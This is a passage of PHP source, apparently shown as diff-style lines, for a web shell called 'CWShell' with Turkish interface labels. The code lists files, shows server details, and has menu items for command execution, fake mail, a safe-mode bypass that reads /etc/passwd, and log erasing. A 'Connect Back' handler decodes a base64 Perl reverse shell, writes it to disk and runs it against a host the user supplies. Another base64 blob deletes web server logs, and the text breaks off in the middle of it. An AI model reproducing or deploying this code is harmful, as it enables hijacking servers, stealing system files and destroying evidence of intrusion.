$wtf = '/'.$files[$i];if ($wtf == $_SERVER['SCRIPT_NAME']) {echo"<tr style='background:#292929;'><td  class='ico' style='color:#666;'>[shell]</td><td style='width:300px;'><input type='submit' style='background:#292929;' name='f_file' class='file' value='$files[$i]'></td><td class='filet'>$size</td><td class='filet'>$last_mod</td><td class='filet'>$perms </td></tr>";}
574+
   if (is_dir($dir))
575
576-
echo"<tr style='background:#252525;'><td  class='ico'>[$ico]</td><td style='width:300px;'><input type='submit' name='f_file'  class='file' value='$files[$i]'></td><td class='filet'>$size</td><td class='filet'>$last_mod</td><td class='filet'>$perms </td></tr>";        }
576+
   {
577-
}echo '</form></table><div style="padding-left:2px; padding-right:2px; padding-bottom:4px; background:#222;"><div class="filet" style="background:#272727; border-bottom:1px solid #2e2e2e">&nbsp</div></div>';do_footer($ver);}
577+
578-
else {echo ' <html><head><style>body{background:#333;}</style><title>login </title></head><body><table style="margin-left:100px; margin-top:100px; background:#222; font-family:Verdana; font-size:10px; color:#999; padding:4px; width:100%:"><tr><td><form method="post" style="margin:0px; padding:)px;">login: <input type="text" name="login" style="color:#999; border:1px solid #333; font-size:10px; background:#292929; padding:2px;">&nbsp;password: <input type="text" name="password" style="color:#999; border:1px solid #333; font-size:10px; background:#292929; padding:2px;">&nbsp;<input type="submit"  style="color:#999; border:0px; font-size:10px; background:#262626; height:20px;; font-family:Verdana;" value="go"></form></td></tr></table></body></html>';}
578+
      if ($open = opendir($dir))
579
580
      {
581
582
	  if(is_dir($dir)) {
583
584
   $typezz = "DIR";
585
586
   $pahtw++;
587
588
 }
589
590
         while (($list = readdir($open)) == true)
591
592
         {
593
594
		 
595
596
         if(is_dir($list)) {
597
598
   $typezz = "DIR";
599
600
   $pahtw++;
601
602
   @$listf.= '<tr><td valign=top><img src=?com=image&img=folder><font size=2 face=Verdana>['.$list.']<td valign=top><font size=2 face=Verdana>'.$typezz.'</font></td><td valign=top></td><td valign=top><font size=2 face=Verdana>' . getperms($list) .'</font></td></tr>'; }
603
604
else {
605
606
  
607
608
   $lolz = filesize($list) / 1024;
609
610
   $lolx = intval($lolz);
611
612
   if($lolx == 0) { $lolx = 1; }
613
614
   $typezz = "DOSYA";
615
616
   $filew++;
617
618
   $listz = "/".$list;
619
620
   if(eregi($page,$listz)) {    @$listf.= '<tr><td valign=top><img src=?com=image&img=file><font size=2 face=Verdana color=yellow>'.$list.'<td valign=top><font size=2 face=Verdana>'.$typezz.'</td><td valign=top width=15%><font size=2 face=Verdana>' . $lolx .' Kb</td><td valign=top><font size=2 face=Verdana>' . getperms($list) . '</font></tr>'; }
621
622
   elseif(eregi('config',$listz) && eregi('.php',$listz)) { @$listf.= '<tr><td valign=top><img src=?com=image&img=file><font size=2 face=Verdana><b>'.$list.'</b><td valign=top><font size=2 face=Verdana>'.$typezz.'</td><td valign=top width=15%><font size=2 face=Verdana>' . $lolx .' Kb</td><td valign=top><font size=2 face=Verdana>' . getperms($list) . '</font></tr>'; }
623
624
   else {@$listf.= '<tr><td valign=top><img src=?com=image&img=file><font size=2 face=Verdana>'.$list.'<td valign=top><font size=2 face=Verdana>'.$typezz.'</td><td valign=top width=15%><font size=2 face=Verdana>' . $lolx .' Kb</td><td valign=top><font size=2 face=Verdana>' . getperms($list) . '</font></tr>'; }  }
625
626
   
627
628
   }         
629
630
   closedir($open);
631
632
         
633
634
      }
635
636
$fileq = $pahtw + $filew;   }
637
638
639
640
641
642
643
644
645
646
echo "<html>
647
648
<head>
649
650
<style>
651
652
table.menu {
653
654
border-width: 0px;
655
656
   border-spacing: 1px;
657
658
   border-style: solid;
659
660
   border-color: #a6a6a6;
661
662
   border-collapse: separate;
663
664
   background-color: rgb(98, 97,97);
665
666
}
667
668
table.menuz {
669
670
border-width: 0px;
671
672
   border-spacing: 1px;
673
674
   border-style: solid;
675
676
   border-color: #a6a6a6;
677
678
   border-collapse: separate;
679
680
   background-color: rgb(98, 97,97);
681
682
}
683
684
table.menu td {
685
686
   border-width: 1px;
687
688
   padding: 1px;
689
690
   border-style: none;
691
692
   border-color: #333333;
693
694
   background-color: #000000;
695
696
   -moz-border-radius: 0px;
697
698
}
699
700
table.menuz tr {
701
702
   border-width: 1px;
703
704
   padding: 1px;
705
706
   border-style: none;
707
708
   border-color: #333333;
709
710
   background-color: #000000;
711
712
   -moz-border-radius: 0px;
713
714
}
715
716
717
718
table.menuz tr:hover {
719
720
	background-color: #111111;
721
722
}
723
724
input,textarea,select {
725
726
font: normal 11px Verdana, Arial, Helvetica, sans-serif;
727
728
background-color:black;
729
730
color:#a6a6a6;
731
732
border: solid 1px #363636;
733
734
}
735
736
</style>
737
738
739
740
</head>
741
742
<body bgcolor='#000000' text='#ebebeb' link='#ebebeb' alink='#ebebeb' vlink='#ebebeb'>
743
744
<table style='background-color:#333333; border-color:#a6a6a6' width=100% border=0 align=center cellpadding=0 cellspacing=0>
745
746
<tr><td>
747
748
<center><b><font size='6' face='Webdings'>ü</font>
749
750
<font face='Verdana' size='5'><a href='".@$_SERVER['HTTP_REFERER']."'>~ CWShell ~</font></a>
751
752
<font size='6' face='Webdings'>ü</font></b>
753
754
</center>
755
756
</td></tr></table><table class=menu width=100%<tr><td>
757
758
<font size='1' face='Verdana'><b>Site:  </b><u>$site</u> <br>
759
760
<b>Server Name: </b><u>" . $_SERVER['SERVER_NAME'] . "</u> <br>
761
762
<b>Server Bilgisi : </b> <u>$info</u> <br>
763
764
<b>Uname -a:</b> <u>$uname</u> <br>
765
766
<b>Klasör:</b> <u>" . $_SERVER['DOCUMENT_ROOT'] . "</u> <br>
767
768
<b>Safe Mode:</b>  <u>$safemode</u> <br>
769
770
<b>Sihirli Sozler:</b> <u>$quot</u> <br>
771
772
<b>Sayfa:</b> <u>$page</u><br>
773
774
<b>Boþ Alan:</b> <u>" . view_size($free) . " [ $percentfree% ]</u> <br>
775
776
<b>Toplam Alan:</b> <u>" . view_size($all) . "</u> <br>
777
778
<b>IP:</b> <u>" . $_SERVER['REMOTE_ADDR'] ."</u> - Server IP:</b> <a href='http://whois.domaintools.com/". $_SERVER['SERVER_ADDR'] ."'>".$_SERVER['SERVER_ADDR']."</a></td></tr>
779
780
<tr><td><form method='post' action=''>
781
782
<center><input type=submit value='File List' name=filelist> - <input type=submit value='View PhpInfo' name=phpinfo> - <input type=submit value='Encoder' name='encoder'> - <input type='submit' value='Send Fake Mail' name='mail'> - <input type='submit' value='Cmd Execution' name='commex'> - <input type='submit' name='logeraser' value='Logs Eraser'> - <input type='submit' name='connectback' value='Connect Back'> - <input type='submit' name='safemodz' value='Safe Mode Bypass'> - <input type='submit' name='milw0' value='Milw0rm Search'></center></td></tr>";
783
784
// Safe Mode Bypass
785
786
if(isset($_POST['safemodz']))
787
788
{
789
790
echo "<tr><td valign=top width=50%>
791
792
<center><b><font size='2' face='Verdana'>Safe-Mode Bypass[Dosyalar]<br></font></b>
793
794
<form action='' method='post'>
795
796
      <font size='1' face='Verdana'>Dosya adý:</font><br> <input type='text' name='filew' value='/etc/passwd'> <input type='submit' value='Dosyayý Oku' name='redfi'><br>
797
798
	  </td><tr>
799
800
<td valign=top>
801
802
<center><b><font size='2' face='Verdana'>Safe-Mode Bypass [Klasörler]<br></font></b>
803
804
   <form method='post' action=''>
805
806
   <font size='1' face='Verdana'>Klasör:</font><br>
807
808
   <input type='text' name='directory'> <input type='submit' value='Listele' name='reddi'>";
809
810
  }
811
812
   // Safe Mode Bypass: File
813
814
if(isset($_POST['redfi']))
815
816
{
817
818
    $test='';
819
820
    $tempp= tempnam($test, "cx");
821
822
    $get = htmlspecialchars($_POST['filew']);
823
824
    if(copy("compress.zlib://".$get, $tempp)){
825
826
    $fopenzo = fopen($tempp, "r");
827
828
    $freadz = fread($fopenzo, filesize($tempp));
829
830
    fclose($fopenzo);
831
832
    $source = htmlspecialchars($freadz);
833
834
    echo "<tr><td><center><font size='1' face='Verdana'>$get</font><br><textarea rows='20' cols='80' name='source'>$source</textarea>";
835
836
    unlink($tempp);
837
838
    } else {
839
840
    echo "<tr><td><center><font size='1' color='red' face='Verdana'>HATA</font>";
841
842
            }
843
844
   
845
846
}
847
848
849
850
// Safe Mode Bypass: Directory
851
852
 if(isset($_POST['reddi'])){ 
853
854
   
855
856
function dirz()
857
858
{
859
860
$dirz = $_POST['directory'];
861
862
$files = glob("$dirz*");
863
864
865
866
foreach ($files as $filename) {
867
868
    echo "<tr><td><font size='1' face='Verdana'>";
869
870
   echo "$filename\n";
871
872
   echo "</font><br>";
873
874
}
875
876
}
877
878
echo "<br>"; dirz(); 
879
880
}
881
882
883
884
// Connect Back
885
886
if(isset($_POST['connectback']))
887
888
{
889
890
echo "
891
892
<tr><td>
893
894
<center><font size='2' face='Verdana'><b>Back-Connect</b><br></font>
895
896
<form method='post' action=''><input type='text' name='connhost' size='15'value='target'> <input type='text' name='connport' size='5' value='port'> <input type='submit' name='connsub' value='Run'></form>"; 
897
898
}
899
900
if(isset($_POST['logeraser']))
901
902
{
903
904
echo "<tr><td>
905
906
<center><b><font size='2' face='Verdana'>:: OS ::<br></font></b>
907
908
        <select name=functionp>
909
910
          <option>linux</option>
911
912
          <option>sunos</option>
913
914
          <option>aix</option>
915
916
          <option>irix</option>
917
918
          <option>openbsd</option>
919
920
		  <option>solaris</option>
921
922
		  <option>suse</option>
923
924
		  <option>lampp</option>
925
926
		  <option>debian</option>
927
928
		  <option>freebsd</option>
929
930
		  <option>misc</option>
931
932
        </select><br><input type='submit' name='runer' value='Erase'></table>";
933
934
		}
935
936
		
937
938
// Connect Back
939
940
if(isset($_POST['connsub']))
941
942
{
943
944
$sources = base64_decode("CiMhL3Vzci9iaW4vcGVybAp1c2UgU29ja2V0OwoKJGV4ZWN1dGU9J2VjaG8gIkhlcmUgaSBhbSI7ZWNobyAiYHVuYW1lIC1hYCI7ZWNobyAiYHVwdGltZWAiOy9iaW4vc2gnOwoKJHRhcmdldD0kQVJHVlswXTsKJHBvcnQ9JEFSR1ZbMV07CiRpYWRkcj1pbmV0X2F0b24oJHRhcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOwokcGFkZHI9c29ja2FkZHJfaW4oJHBvcnQsICRpYWRkcikgfHwgZGllKCJFcnJvcjogJCFcbiIpOwokcHJvdG89Z2V0cHJvdG9ieW5hbWUoJ3RjcCcpOwpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7CmNvbm5lY3QoU09DS0VULCAkcGFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsKb3BlbihTVERJTiwgIj4mU09DS0VUIik7Cm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsKb3BlbihTVERFUlIsICI+JlNPQ0tFVCIpOwpzeXN0ZW0oJGV4ZWN1dGUpOwpjbG9zZShTVERJTik7CmNsb3NlKFNURE9VVCk7IA==");
945
946
$openz = fopen("cbs.pl", "w+")or die("Error");
947
948
fwrite($openz, $sources)or die("Error");
949
950
fclose($openz);
951
952
$aids = passthru("perl cbs.pl ".$_POST['connhost']." ".$_POST['connport']);
953
954
unlink("cbs.pl");
955
956
}
957
958
if(isset($_POST['connsub'])) { echo "<tr><td><font color='lightgreen' face='Verdana' size='2'>Done.</font>"; }
959
960
961
962
		// Logs Eraser
963
964
if(isset($_POST['runer']))
965
966
{
967
968
echo "<tr><td><center><textarea cols='30' rows='2'>";
969
970
$erase = base64_decode("IyF1c3IvYmluL3BlcmwNCiMgQ1dTSGVsbA0KICAgICAgIGNob21wKCRvcyA9ICRBUkdWWzBdKTsNCg0KICAgICAgICAgICAgICAgIGlmKCRvcyBlcSBcIm1pc2NcIil7ICNJZiBtaXNjIHR5cGVkLCBkbyB0aGUgZm9sbG93aW5nIGFuZCBzdGFydCBicmFja2V0cw0KICAgICAgICAgICAgIHByaW50IFwiWytdbWlzYyBTZWxlY3RlZC4uLlxcblwiOyAgIA0KICAgICAgICAgICAgIHNsZWVwIDE7DQogICAgICAgICAgICAgcHJpbnQgXCI8dHI+WytdTG9ncyBMb2NhdGVkLi4uXFxuXCI7DQogICAgICAgICAgICAgc2xlZXAgMTsNCiAgICAgICAgICAgICAkYSA9IHVubGluayBAbWlzYzsgICANCiAgICAgICAgICAgICBzbGVlcCAxOw0KCQkJIA0KICAgICAgICAgICAgaWYoJGEpIHsgcHJpbnQgXCJbK11Mb2dzIFN1Y2Nlc3NmdWxseSBEZWxldGVkLi4uXFxuXCI7IH0NCgkJCWVsc2UgeyBwcmludCBcIlstXUVycm9yXCI7IH0NCiAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgaWYoJG9zIGVxIFwib3BlbmJzZFwiKXsgI0lmIG9wZW5ic2QgdHlwZWQsIGRvIHRoZSBmb2xsb3dpbmcgYW5kIHN0YXJ0IGJyYWNrZXRzDQogICAgICAgICAgICAgcHJpbnQgXCJbK11vcGVuYnNkIFNlbGVjdGVkLi4uXFxuXCI7DQogICAgICAgICAgICAgc2xlZXAgMTsNCiAgICAgICAgICAgICBwcmludCBcIlsrXUxvZ3MgTG9jYXRlZC4uLlxcblwiOyAgIA0KICAgICAgICAgICAgIHNsZWVwIDE7DQogICAgICAgICAgICAgJGIgPSB1bmxpbmsgQG9wZW5ic2Q7ICAgDQogICAgICAgICAgICAgc2xlZXAgMTsNCiAgICAgICAgICAgIGlmKCRiKSB7cHJpbnQgXCJbK11Mb2dzIFN1Y2Nlc3NmdWxseSBEZWxldGVkLi4uXFxuXCI7ICAgfQ0KCQkJZWxzZSB7IHByaW50IFwiWy1dRXJyb3JcIjsgfQ0KICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICBpZigkb3MgZXEgXCJmcmVlYnNkXCIpeyAjSWYgZnJlZWJzZCB0eXBlZCwgZG8gdGhlIGZvbGxvd2luZyBhbmQgc3RhcnQgYnJhY2tldHMNCiAgICAgICAgICAgICBwcmludCBcIlsrXWZyZWVic2QgU2VsZWN0ZWQuLi5cXG5cIjsgICANCiAgICAgICAgICAgICBzbGVlcCAxOw0KICAgICAgICAgICAgIHByaW50IFwiWytdTG9ncyBMb2NhdGVkLi4uXFxuXCI7ICAgDQogICAgICAgICAgICAgc2xlZXAgMTsNCiAgICAgICAgICAgICAkYyA9IHVubGluayBAZnJlZWJzZDsgICANCiAgICAgICAgICAgICBzbGVlcCAxOw0KICAgICAgICAgICAgIGlmKCRjKSB7IHByaW50IFwiWytdTG9ncyBTdWNjZXNzZnVsbHkgRGVsZXRlZC4uLlxcblwiOyB9DQoJCQkgZWxzZSB7IHByaW50IFwiWy1dRXJyb3JcIjsgfQ0KICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICBpZigkb3MgZXEgXCJkZWJpYW5cIil7ICNJZiBEZWJpYW4gdHlwZWQsIGRvIHRoZSBmb2xsb3dpbmcgYW5kIHN0YXJ0IGJyYWNrZXRzDQogICAgICAgICAgICAgcHJpbnQgXCJbK11kZWJpYW4gU2VsZWN0ZWQuLi5cXG5cIjsNCiAgICAgICAgICAgICBzbGVlcCAxOw0KICAgICAgICAgICAgIHByaW50IFwiWytdTG9ncyBMb2NhdGVkLi4uXFxuXCI7DQogICAgICAgICAgICAgc2xlZXAgMTsNCiAgICAgICAgICAgICAkZCA9IHVubGluayBAZGViaWFuOyAgIA0KICAgICAgICAgICAgIHNsZWVwIDE7DQogICAgICAgICAgICAgaWYoJGQpIHsgcHJpbnQgXCJbK11Mb2dzIFN1Y2Nlc3NmdWxseSBEZWxldGVkLi4uXFxuXCI7IH0NCgkJCSAgZWxzZSB7IHByaW50IFwiWy1dRXJyb3JcIjsgfQ0KICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICBpZigkb3MgZXEgXCJzdXNlXCIpeyAjSWYgc3VzZSB0eXBlZCwgZG8gdGhlIGZvbGxvd2luZyBhbmQgc3RhcnQgYnJhY2tldHMNCiAgICAgICAgICAgICBwcmludCBcIlsrXXN1c2UgU2VsZWN0ZWQuLi5cXG5cIjsNCiAgICAgICAgICAgICBzbGVlcCAxOw0KICAgICAgICAgICAgIHByaW50IFwiWytdTG9ncyBMb2NhdGVkLi4uXFxuXCI7DQogICAgICAgICAgICAgc2xlZXAgMTsNCiAgICAgICAgICAgICAkZSA9IHVubGluayBAc3VzZTsgICANCiAgICAgICAgICAgICBzbGVlcCAxOw0KICAgICAgICAgICAgaWYoJGUpIHsgcHJpbnQgXCJbK11Mb2dzIFN1Y2Nlc3NmdWxseSBEZWxldGVkLi4uXFxuXCI7IH0NCgkJCSBlbHNlIHsgcHJpbnQgXCJbLV1FcnJvclwiOyB9DQogICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgIGlmKCRvcyBlcSBcInNvbGFyaXNcIil7ICNJZiBzb2xhcmlzIHR5cGVkLCBkbyB0aGUgZm9sbG93aW5nIGFuZCBzdGFydCBicmFja2V0cw0KICAgICAgICAgICAgIHByaW50IFwiWytdc29sYXJpcyBTZWxlY3RlZC4uLlxcblwiOw0KICAgICAgICAgICAgIHNsZWVwIDE7DQogICAgICAgICAgICAgcHJpbnQgXCJbK11Mb2dzIExvY2F0ZWQuLi5cXG5cIjsNCiAgICAgICAgICAgICBzbGVlcCAxOw0KICAgICAgICAgICAgICRmID0gdW5saW5rIEBzb2xhcmlzOw0KICAgICAgICAgICAgIHNsZWVwIDE7DQogICAgICAgICAgICAgaWYoJGYpIHtwcmludCBcIlsrXUxvZ3MgU3VjY2Vzc2Z1bGx5IERlbGV0ZWQuLi5cXG5cIjsgfQ0KCQkJIGVsc2UgeyBwcmludCBcIlstXUVycm9yXCI7IH0NCiAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgaWYoJG9zIGVxIFwibGFtcHBcIil7ICNJZiBsYW1wcCB0eXBlZCwgZG8gdGhlIGZvbGxvd2luZyBhbmQgc3RhcnQgYnJhY2tldHMNCiAgICAgICAgICAgICBwcmludCBcIlsrXUxhbXBwIFNlbGVjdGVkLi4uXFxuXCI7DQogICAgICAgICAgICAgc2xlZXAgMTsNCiAgICAgICAgICAgICBwcmludCBcIlsrXUxvZ3MgTG9jYXRlZC4uLlxcblwiOw0KICAgICAgICAgICAgIHNsZWVwIDE7DQogICAgICAgICAgICAgJGcgPSB1bmxpbmsgQGxhbXBwOw0KICAgICAgICAgICAgIHNsZWVwIDE7DQogICAgICAgICAgICBpZigkZykgeyBwcmludCBcIlsrXUxvZ3MgU3VjY2Vzc2Z1bGx5IERlbGV0ZWQuLi5cXG5cIjsgfQ0KCQkgICAgZWxzZSB7IHByaW50IFwiWy1dRXJyb3JcIjsgfQ0KICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICBpZigkb3MgZXEgXCJyZWRoYXRcIil7ICNJZiByZWRoYXQgdHlwZWQsIGRvIHRoZSBmb2xsb3dpbmcgYW5kIHN0YXJ0IGJyYWNrZXRzDQogICAgICAgICAgICAgcHJpbnQgXCJbK11SZWQgSGF0IExpbnV4L01hYyBPUyBYIFNlbGVjdGVkLi4uXFxuXCI7DQogICAgICAgICAgICAgc2xlZXAgMTsNCiAgICAgICAgICAgICBwcmludCBcIlsrXUxvZ3MgTG9jYXRlZC4uLlxcblwiOw0KICAgICAgICAgICAgIHNsZWVwIDE7DQogICAgICAgICAgICAgJGggPSB1bmxpbmsgQHJlZGhhdDsNCiAgICAgICAgICAgICBzbGVlcCAxOw0KICAgICAgICAgICAgIGlmKCRoKSB7IHByaW50IFwiWytdTG9ncyBTdWNjZXNzZnVsbHkgRGVsZXRlZC4uLlxcblwiOyB9DQoJCQkgIGVsc2UgeyBwcmludCBcIlstXUVycm9yXCI7IH0NCiAgICAgICAgICAgICAgfQ0KICAgICAgIA0KICAgICAgICAgICAgICAgIGlmKCRvcyBlcSBcImxpbnV4XCIpeyAjSWYgbGludXggdHlwZWQsIGRvIHRoZSBmb2xsb3dpbmcgYW5kIHN0YXJ0IGJyYWNrZXRzDQogICAgICAgICAgICAgcHJpbnQgXCJbK11MaW51eCBTZWxlY3RlZC4uLlxcblwiOyAgIA0KICAgICAgICAgICAgIHNsZWVwIDE7DQogICAgICAgICAgICAgcHJpbnQgXCJbK11Mb2dzIExvY2F0ZWQuLi5cXG5cIjsNCiAgICAgICAgICAgICBzbGVlcCAxOw0KICAgICAgICAgICAgICRpID0gdW5saW5rIEBsaW51eDsNCiAgICAgICAgICAgICBzbGVlcCAxOw0KCQkJaWYoJGkpIHsgcHJpbnQgXCJbK11Mb2dzIFN1Y2Nlc3NmdWxseSBEZWxldGVkLi4uXFxuXCI7fSANCgkJCWVsc2UgeyBwcmludCBcIlstXUVycm9yXCI7IH0NCgkJfSAgICAgIA0KICAgICAgICAgICAgIA0KICAgICAgICAgICAgICBpZigkb3MgZXEgXCJzdW5vc1wiKXsgI0lmIHN1bm9zIHR5cGVkLCBkbyB0aGUgZm9sbG93aW5nIGFuZCBzdGFydCBicmFja2V0cw0KICAgICAgICAgICAgICBwcmludCBcIlsrXVN1bk9TIFNlbGVjdGVkLi4uXFxuXCI7DQogICAgICAgICAgICAgIHNsZWVwIDE7DQogICAgICAgICAgICAgIHByaW50IFwiWytdTG9ncyBMb2NhdGVkLi4uXFxuXCI7DQogICAgICAgICAgICAgIHNsZWVwIDE7DQogICAgICAgICAgICAgICRsID0gdW5saW5rIEBzdW5vczsNCiAgICAgICAgICAgICAgaWYoJGwpIHsgcHJpbnQgXCJbK11Mb2dzIFN1Y2Nlc3NmdWxseSBEZWxldGVkLi4uXFxuXCI7IH0NCgkJCSAgZWxzZSB7IHByaW50IFwiWy1dRXJyb3JcIjsgfQ0KICAgICAgICAgICAgICB9ICAgDQogICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgaWYoJG9zIGVxIFwiYWl4XCIpeyAjSWYgYWl4IHR5cGVkLCBkbyB0aGUgZm9sbG93aW5nIGFuZCBzdGFydCBicmFja2V0cw0KICAgICAgICAgICAgICAgICBwcmludCBcIlsrXUFpeCBTZWxlY3RlZC4uLlxcblwiOw0KICAgICAgICAgICAgICAgICBzbGVlcCAxOw0KICAgICAgICAgICAgICBwcmludCBcIlsrXUxvZ3MgTG9jYXRlZC4uLlxcblwiOw0KICAgICAgICAgICAgICBzbGVlcCAxOw0KICAgICAgICAgICAgICAkbSA9IHVubGluayBAYWl4Ow0KICAgICAgICAgICAgICBpZigkbSkgeyBwcmludCBcIlsrXUxvZ3MgU3VjY2Vzc2Z1bGx5IERlbGV0ZWQuLi5cXG5cIjsgfQ0KCQkJICAgZWxzZSB7IHByaW50IFwiWy1dRXJyb3JcIjsgfQ0KICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgDQogICAgICAgICAgICAgIGlmKCRvcyBlcSBcImlyaXhcIil7ICNJZiBpcml4IHR5cGVkLCBkbyB0aGUgZm9sbG93aW5nIGFuZCBzdGFydCBicmFja2V0DQogICAgICAgICAgICAgIHByaW50IFwiWytdSXJpeCBTZWxlY3RlZC4uLlxcblwiOw0KICAgICAgICAgICAgICBzbGVlcCAxOw0KICAgICAgICAgICAgICBwcmludCBcIlsrXUxvZ3MgTG9jYXRlZC4uLlxcblwiOw0KICAgICAgICAgICAgICBzbGVlcCAxOw0KICAgICAgICAgICAgICAkbiA9IHVubGluayBAaXJpeDsgICANCiAgICAgICAgICAgICAgaWYoJG4pIHsgcHJpbnQgXCJbK11Mb2dzIFN1Y2Nlc3NmdWxseSBEZWxldGVkLi4uXFxuXCI7IH0NCgkJCSAgZWxzZSB7IHByaW50IFwiWy1dRXJyb3JcIjsgfQ0KICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI01pc2MgTG9nIExvY2F0aW9ucyAgIA0KICAgICAgeyAgICAgICAgICAgICAgICAgICAgICAgDQogICAgICBAbWlzYyA9IChcIi9ldGMvaHR0cGQvbG9ncy9hY2Nlc3MubG9nXCIsIFwiL2V0Yy9odHRwZC9sb2dzL2Vycm9yLmxvZ1wiLFwiL2V0Yy9odHRwZC9sb2dzL2FjY2Vzc19sb2dcIiwNCiAgICAgICAgICAgIFwiL2V0Yy9odHRwZC9sb2dzL2Vycm9yX2xvZ1wiLFwiL3Vzci9sb2NhbC9hcGFjaGUvbG9ncy9hY2Nlc3NfbG9nXCIsXCIvdXNyL2xvY2FsL2FwYWNoZS9sb2dzL2Vycm9yX2xvZ1wiLA0KICAgICAgICAgICAgXCIvdXNyL2xvY2FsL2FwYWNoZS9sb2dzL2FjY2Vzcy5sb2dcIixcIi91c3IvbG9jYWwvYXBhY2hlL2xvZ3MvZXJyb3IubG9nXCIsXCIvdmFyL2xvZy9hcGFjaGUvYWNjZXNzX2xvZ1wiLA0KICAgICAgICAgICAgXCIvdmFyL2xvZy9hcGFjaGUvZXJyb3JfbG9nXCIsXCIvdmFyL2xvZy9hcGFjaGUvYWNjZXNzLmxvZ1wiLFwiL3Zhci9sb2cvYXBhY2hlL2Vycm9yLmxvZ1wiLFwiL3Zhci9sb2cvYWNjZXNzX2xvZ1wiLA0KICAgICAgICAgICAgXCIvdmFyL2xvZy9lcnJvcl9sb2dcIixcIi92YXIvd3d3L2xvZ3MvZXJyb3IubG9nXCIsXCIvdmFyL3d3dy9sb2dzL2FjY2Vzcy5sb2dcIixcIi92YXIvd3d3L2xvZ3MvZXJyb3JfbG9nXCIsDQogICAgICAgICAgICBcIi92YXIvd3d3L2xvZ3MvYWNjZXNzX2xvZ1wiKQ0KICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAjTG9ncyBvZiBPcGVuQlNEIFN5c3RlbXMNCiAgIA0KICAgICAgew0KICAgICAgIEBvcGVuYnNkID0gKFwiL3Zhci93d3cvbG9nL2FjY2Vzc19sb2dcIiwgXCIvdmFyL3d3dy9sb2cvZXJyb3JfbG9nXCIpDQogICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI0xvZ3Mgb2YgRnJlZUJTRCBTeXN0ZW1zDQogICANCiAgICAgIHsNCiAgICAgICBAZnJlZWJzZCA9IChcIi91c3IvbG9jYWwvZXRjL2h0dHBkL2xvZ3MvYWNjZXNzX2xvZ1wiLCBcIi91c3IvbG9jYWwvZXRjL2h0dHBkL2xvZ3MvZXJyb3JfbG9nXCIpDQogICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI0xvZ3Mgb2YgRGViaWFuIFN5c3RlbXMNCiAgIA0KICAgICAgew0KICAgICAgIEBkZWJpYW4gPSAoXCIvdmFyL2xvZy9hcGFjaGUvYWNjZXNzLmxvZ1wiLCBcIi92YXIvbG9nL2FwYWNoZS9lcnJvci5sb2dcIiwNCiAgICAgICBcIi92YXIvbG9nL2FwYWNoZS1zc2wvZXJyb3IubG9nXCIsIFwiL3Zhci9sb2cvYXBhY2hlLXNzbC9hY2Nlc3MubG9nXCIpDQogICAgICAgICAgIH0gICANCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI0xvZ3Mgb2YgU3VTRSBMaW51eCBTeXN0ZW1zDQogICANCiAgICAgIHsNCiAgICAgICBAc3VzZSA9IChcIi92YXIvbG9nL2h0dHBkL2FjY2Vzc19sb2dcIiwgXCIvdmFyL2xvZy9odHRwZC9lcnJvcl9sb2dcIikNCiAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAjTG9ncyBvZiBTb2xhcmlzIFN5c3RlbXMNCiAgIA0KICAgICAgeyAgIA0KICAgICAgIEBzb2xhcmlzID0gKFwiL3Zhci9hcGFjaGUvbG9ncy9hY2Nlc3NfbG9nXCIsIFwiL3Zhci9hcGFjaGUvbG9ncy9lcnJvcl9sb2dcIikNCiAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAjTG9ncyBvZiBMYW1wcCBTeXN0ZW1zDQogICANCiAgICAgIHsNCiAgICAgICBAbGFtcHAgPSAoXCIvb3B0L2xhbXBwL2xvZ3MvZXJyb3JfbG9nXCIsIFwiL29wdC9sYW1wcC9sb2dzL2FjY2Vzc19sb2dcIikNCiAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAjTG9ncyBvZiBSZWQgSGF0LCBNYWMgT1MgWCBTeXN0ZW1zDQogICANCiAgICAgIHsNCiAgICAgICBAcmVkaGF0ID0gKFwiL3Zhci9sb2cvaHR0cGQvYWNjZXNzX2xvZ1wiLCBcIi92YXIvbG9nL2h0dHBkL2Vycm9yX2xvZ1wiKQ0KICAgICAgICAgICB9DQogICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICNMb2dzIG9mIElyaXggU3lzdGVtcw0KICAgDQogICAgICB7DQogICAgICAgQGlyaXggPSAoXCIvdmFyL2FkbS9TWVNMT0dcIiwgXCIvdmFyL2FkbS9zdWxvZ1wiLCBcIi92YXIvYWRtL3V0bXBcIiwgXCIvdmFyL2FkbS91dG1weFwiLA0KICAgICAgICAgICAgICBcIi92YXIvYWRtL3d0bXBcIiwgXCIvdmFyL2FkbS93dG1weFwiLCBcIi92YXIvYWRtL2xhc3Rsb2cvXCIsDQogICAgICAgICAgICBcIi91c3Ivc3Bvb2wvbHAvbG9nXCIsIFwiL3Zhci9hZG0vbHAvbHAtZXJyc1wiLCBcIi91c3IvbGliL2Nyb24vbG9nXCIsDQogICAgICAgICAgICBcIi92YXIvYWRtL2xvZ2lubG9nXCIsIFwiL3Zhci9hZG0vcGFjY3RcIiwgXCIvdmFyL2FkbS9kdG1wXCIsDQogICAgICAgICAgICBcIi92YXIvY